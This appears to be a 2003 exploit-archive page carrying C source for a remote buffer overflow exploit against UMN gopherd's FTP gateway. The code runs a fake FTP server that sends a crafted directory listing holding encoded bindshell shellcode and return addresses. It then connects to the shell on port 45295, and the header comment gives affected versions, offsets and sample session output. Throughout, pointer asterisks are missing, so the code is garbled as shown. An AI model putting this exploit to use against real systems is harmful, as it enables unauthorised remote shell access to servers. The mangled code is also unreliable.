Gopherd <= 3.0.5 FTP Gateway Buffer Overflow remote Exploit

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Дата публикации:
26.08.2003

Код

/* [ UMN gopherd[2.x.x/3.x.x]: remote "ftp gateway" buffer overflow. ]
*                                                                                                
* by: vade79/v9 v9 at fakehalo.deadpig.org (fakehalo/realhalo)
*                                                                                                
* three years since last audit, code is a little more secure.  but,        
* still found a few potentially exploitable situations.  this                  
* exploits the "ftp gateway" feature of gopherd.  the gateway is        
* intended to act as a proxy of sorts.  between the server, and the    
* client.  the bug occurs when gopherd attempts to read a ftp            
* list(LIST), and strcpy()'s the filename without checking the            
* length.  an example would look like this(including where to put      
* the shellcode at):                                                                      
*                                                                                                
* "-rwxrwxrwx 1 <shellcode> root 1 Dec 31 23:59 <long string>"        
*                                                                                                
* to exploit this, there needs to be a fake ftp daemon of sorts.        
* and, do to the nature of gopherd's "ftp gateway" support, must be  
* on port 21.  which means this exploit needs to run as root.            
*                                                                                            
*  when exploiting this bug, it is made moderately easy by gopherd.  
* because, the buffer that holds the string is 8192 bytes, and on      
* the stack.  meaning the amount of NOPs used can be around 7500
*                                                                  
* requirements(general):                                            
* gopherd must have "ftp gateway" support included on compile,    
* this is true by default.  but, the "--disable-ftp" configure    
* option will make exploitation of this bug impossible.            
*                                                                
* requirements(for this exploit):                                  
* the server must be running linux/x86(what i made the exploit    
* for).  gopherd must be started in the root directory "/",        
* running with the -c command line option, or started as non-root.
* any of those three situations will allow for successful          
* exploitation.  this does not mean it is impossible to exploit    
* otherwise.  but, gopherd will be in a chroot()'d state.  and, as
* of the 2.4 kernel series, i have seen no such way to break      
* chroot.  if it is desired to still run code, even in a limited  
* environment, simply change the shellcode to your likings.  also,
* the exploit must be ran as root, to bind to port 21.            
*                                                                  
* bug location(gopher-3.0.5/gopherd/ftp.c):                        
* 1800:int                                                        
* 1801:GopherFile(FTP ftp, char buf, char theName)              
* 1802:{                                                          
* ...                                                              
* 1805:char tmpName[256];                                          
* ...                                                              
* 1811:strcpy(tmpName, buf);                                      
*                                                                
* vulnerable versions:                                              
* v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1),              
* v2.3.1. (patch level 0 through 15/all 2.3.1 versions)            
* (it is assumed versions before 2.3.1 are vulnerable as well)    
*                                                                  
* tested on platforms(with no code changes/offsets):                
* RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686          
* Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686
* (tested on both v3.0.5, and v2.3.1 sources / no changes.  this  
* should apply to pretty much any generic linux, do to the amount  
* of NOPs(~7500 bytes guessing room), and on the stack)            
*                                                                
* example usage:                                                    
* # cc xgopherd2k3-ftp.c -o xgopherd2k3-ftp                        
* # ./xgopherd2k3-ftp localhost 127.0.0.1                          
* [] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit.    
* [] "UMN gopherd remote ftp gateway buffer overflow"            
* [] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)            
*                                                                
* [] target: localhost:70 - localhost: 127.0.0.1 - offset: 0xbff$
*                                                                
* [] starting ftp daemon. (background)                            
* [] attempting to connect: localhost:70.                        
* [] connected successfully: localhost:70.                        
* [?] +GOPHERD: "ftp://x:x@127.0.0.1".                            
* [?] ftp daemon connection established.                          
* [?] -FTPD: "SYST".                                              
* [?] -FTPD: "USER x".                                            
* [?] -FTPD: "PASS x".                                            
* [?] -FTPD: "PORT 127,0,0,1,128,35".                              
* [?] -FTPD: "LIST -F".                                            
* [?] +FTPD: "-rwxrwxrwx 1 <shellcode(7800)> root 1 Dec 31 23:59 $
* [] waiting for ftp daemon to finish. (ctrl-c if needed)        
* [] ftp daemon connection closed.                                
* [] checking to see if the exploit was successful.              
* [] attempting to connect: localhost:45295.                      
* [] successfully connected: localhost:45295.                    
*                                                                  
* Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2$
* uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3$
*                                                                  
* note: when using your "local ip", do not make it 127.0.0.1, like  
* in the example.  it must be the ip you connect to the internet    
* through. (not an local area network ip, or whatnot)              
* /
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/ change defines at will. (cept EIPSIZE, not recommended)     /
#define CODESIZE 7800 / part of buf[8192]/stack. (~-350)      /
#define EIPSIZE 292 / riding a fine line, don't make too big. /
#define RETADDR 0xbfffe29b / center of NOPs for me. (~+-3500) /
#define TIMEOUT 10 / connection timeout. (general)            /

/ globals. /
static char x86_exec[]= / bindshell(45295)&, netric/S-poly. /
"\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
"\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
"\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
"\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
"\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
"\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
"\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
"\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
"\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
"\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
"\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
"\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
"\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
"\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
"\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
"\x6e";
char ftp_ip[64+1];
unsigned short ftp_port=0;
pid_t ftp_pid=0;
/ return address offset. (arg3) /
unsigned int offset_ra=0;

/ functions. /
char geteip(void);
char getcode(void);
unsigned short ftpd_read(int);
void ftpd_handler(int,char );
void ftpd_list(char ,unsigned short);
void ftpd(void);
void gopher_connect(char ,unsigned short,char );
void getshell(char ,unsigned short);
void printe(char ,short);

/ signal handlers. /
void sig_ctrlc_wait(){if(ftp_pid)kill(ftp_pid,9);}
void sig_ctrlc_exit(){printe("ctrl-c abort.",1);}
void sig_alarm(){printe("alarm/timeout hit.",1);}

/ begin. /
int main(int argc,char argv){
unsigned short gopher_port=70; / default. /
unsigned int i=0;
char gopher_host;
printf("[] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
"verflow exploit.\n[] \"UMN gopherd remote ftp gatew"
"ay buffer overflow\"\n[] by: vade79/v9 v9@fakehalo."
"deadpig.org (fakehalo)\n\n");
if(argc<3){
  printf("[!] syntax: %s <hostname[:port]> <local/your"
  "_ip> [offset]\n\n",argv[0]);
  exit(1);
}
if(!(gopher_host=(char )strdup(argv[1])))
  printe("main(): allocating memory failed",1);
for(i=0;i<strlen(gopher_host);i++)
  if(gopher_host[i]==':')
   gopher_host[i]=0x0;
if(index(argv[1],':'))
  gopher_port=atoi((char )index(argv[1],':')+1);
if(!gopher_port)
  gopher_port=70;
if(argc>3)
  offset_ra=atoi(argv[3]);
printf("[] target: %s:%d - localhost: %s - offset: 0x%.8x(+"
"%u)\n\n",gopher_host,gopher_port,argv[2],RETADDR,offset_ra);
signal(SIGINT,sig_ctrlc_wait);
signal(SIGALRM,sig_alarm);
/ start ftpd, as a different process. /
switch(ftp_pid=fork()){
  case -1:
   printe("fork() ftpd failure.",1);
   break;
  case 0:
   signal(SIGINT,SIG_DFL);
   ftpd();
   _exit(0);
   break;
  default:
   printf("[] starting ftp daemon. (background)\n");
   break;
}
gopher_connect(gopher_host,gopher_port,argv[2]);
/ gotta let the ftpd magic happen, plenty of time. /
printf("[] waiting for ftp daemon to finish. (ctrl-c if"
" needed)\n");
waitpid(ftp_pid,0,0);
signal(SIGINT,sig_ctrlc_exit);
getshell(gopher_host,45295); / defined in shellcode. /
printf("[!] exploit failed.\n");
exit(0);
}
char geteip(void){
unsigned int i=0;
char buf;
if(!(buf=(char )malloc(EIPSIZE+1)))
  printe("ftpd_read(): allocating memory failed.",1);
memset(buf,0x0,EIPSIZE+1);
for(i=0;i<EIPSIZE;i+=4){(long )&buf[i]=(RETADDR+offset_ra);}
return(buf);
}
char getcode(void){
char buf;
if(!(buf=(char )malloc(CODESIZE+1)))
  printe("getcode(): allocating memory failed",1);
memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
strlen(x86_exec));
return(buf);
}
unsigned short ftpd_read(int sock){
char buf;
if(!(buf=(char )malloc(4096+1)))
  return(1);
memset(buf,0x0,4096+1);
if(read(sock,buf,4096)<1)
  return(1);
ftpd_handler(sock,buf);
return(0);
}
void ftpd_handler(int sock,char buf){
unsigned int addr1,addr2,addr3,addr4,port1,port2,i;
/ clean up for display, changes nothing critical. /
for(i=0;i<strlen(buf);i++)
  if(buf[i]=='\r'||buf[i]=='\n')
   buf[i]=0x0;
if(strlen(buf)){
  printf("[?] -FTPD: \"%s\".\n",buf);
  if(!strncmp("SYST",buf,4))
   dprintf(sock,"215 UNIX Type: L8\n");
  else if(!strncmp("USER ",buf,5))
   dprintf(sock,"331 login ok.\n");
  else if(!strncmp("PASS ",buf,5))
   dprintf(sock,"230 access granted.\n");
  else if(!strncmp("PORT ",buf,5)){
   sscanf(buf,"PORT %u,%u,%u,%u,%u,%u",&addr1,&addr2,&addr3,
   &addr4,&port1,&port2);
   memset(ftp_ip,0x0,64+1);
   snprintf(ftp_ip,64,"%u.%u.%u.%u",addr1,addr2,addr3,addr4);
   ftp_port=((port1256)+port2);                                                
   dprintf(sock,"200 PORT command successful.\n");
  }
  else if(!strncmp("LIST",buf,4)){
   dprintf(sock,"150 Opening connection.\n");
   / send the fake file list, the exploit itself. /
   if(strlen(ftp_ip)&&ftp_port)
    ftpd_list(ftp_ip,ftp_port);
   dprintf(sock,"226 Transfer complete.\n");
   sleep(1);
   / nothing else of importance. /
   close(sock);
  }
}
return;
}
void ftpd_list(char ip,unsigned short port){
int sock;
struct hostent t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
if((s.sin_addr.s_addr=inet_addr(ip))){
  if(!(t=gethostbyname(ip)))
   printe("couldn't resolve ftp_list hostname/ip.",1);
  memcpy((char)&s.sin_addr,(char)t->h_addr,
  sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr )&s,sizeof(s)))
  printe("ftpd_list connection failed.",1);
alarm(0);
/ the exploit itself, what changes the EIP.     /
/ i just put the shellcode where the user/owner /
/ of the file would normally go, goes into the  /
/ fat buf[8192] buffer, yummy.                  /
printf("[?] +FTPD: \"-rwxrwxrwx 1 <shellcode(%u)> root "
"1 Dec 31 23:59 <eip(%u)>\".\n",CODESIZE,EIPSIZE);
dprintf(sock,"-rwxrwxrwx 1 %s root 1 Dec 31 23:59 %s\n",
getcode(),geteip());
sleep(1); / not needed, safe call. /
close(sock);
return;
}
void ftpd(void){
int ssock,sock,salen,so=1,i=0;
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/ just incase used multiple times, good habit anyways. /
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void )&so,sizeof(so));
/ not everywheres. /
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void )&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
/ must be default, gopherd limitations. :( /
ssa.sin_port=htons(21);
ssa.sin_addr.s_addr=INADDR_ANY;  
if(bind(ssock,(struct sockaddr )&ssa,sizeof(ssa))==-1)
  printe("could not bind socket, ftpd already running?",1);
listen(ssock,1);
bzero((char)&sa,sizeof(struct sockaddr_in));
/ some things i just don't see the reason for. :/ /                          
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr )&sa,&salen);
close(ssock); / close server socket. /
printf("[] ftp daemon connection established.\n");
/ welcome! /
dprintf(sock,"220 FakeFTPD.\n");
while(!i)
  i=ftpd_read(sock);
close(sock);
printf("[] ftp daemon connection closed.\n");
return;
}
void gopher_connect(char hostname,unsigned short port,
char myip){
int sock;
struct hostent t;
struct sockaddr_in s;
printf("[] attempting to connect: %s:%d.\n",hostname,port);
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
  if(!(t=gethostbyname(hostname)))
   printe("couldn't resolve gopher hostname.",1);
  memcpy((char)&s.sin_addr,(char)t->h_addr,
  sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr )&s,sizeof(s)))
  printe("gopher connection failed.",1);
alarm(0);
printf("[] connected successfully: %s:%d.\n",hostname,port);
printf("[?] +GOPHERD: \"ftp://x:x@%s\".\n",myip);
sleep(1); / had problems, without a delay here. /
dprintf(sock,"ftp://x:x@%s\n",myip);
sleep(1); / doesn't really matter, but to be safe. :/ /
/ leave gopher socket open, for the duration. /
return;
}
/ same getshell() routine as usual. /
void getshell(char hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent he;
struct sockaddr_in sa;
printf("[] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
  printe("getshell(): socket() failed",0);
  return;
}
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname))){
   printe("getshell(): couldn't resolve",0);
   return;
  }
  memcpy((char )&sa.sin_addr,(char )he->h_addr,
  sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[] attempting to connect: %s:%d.\n",
hostname,port);
if(connect(sock,(struct sockaddr )&sa,sizeof(sa))){
  printf("[!] connection failed: %s:%d.\n",
  hostname,port);
  return;
}
alarm(0);
printf("[] successfully connected: %s:%d.\n\n",
hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1){
   printe("getshell(): select() failed",0);
   return;
  }
  if(FD_ISSET(0,&fds)){
   if((r=read(0,buf,4096))<1){
    printe("getshell(): read() failed",0);
    return;
   }
   if(write(sock,buf,r)!=r){
    printe("getshell(): write() failed",0);
    return;
   }
  }
  if(FD_ISSET(sock,&fds)){
   if((r=read(sock,buf,4096))<1)
    exit(0);
   write(1,buf,r);
  }
}
close(sock);
return;
}
void printe(char err,short e){
printf("[!] %s\n",err);
if(e){
  / don't want to exit with ftpd still running. /
  if(ftp_pid)
   kill(ftp_pid,9);
  printf("[!] exploit failed.\n");
  exit(1);
}
return;
}

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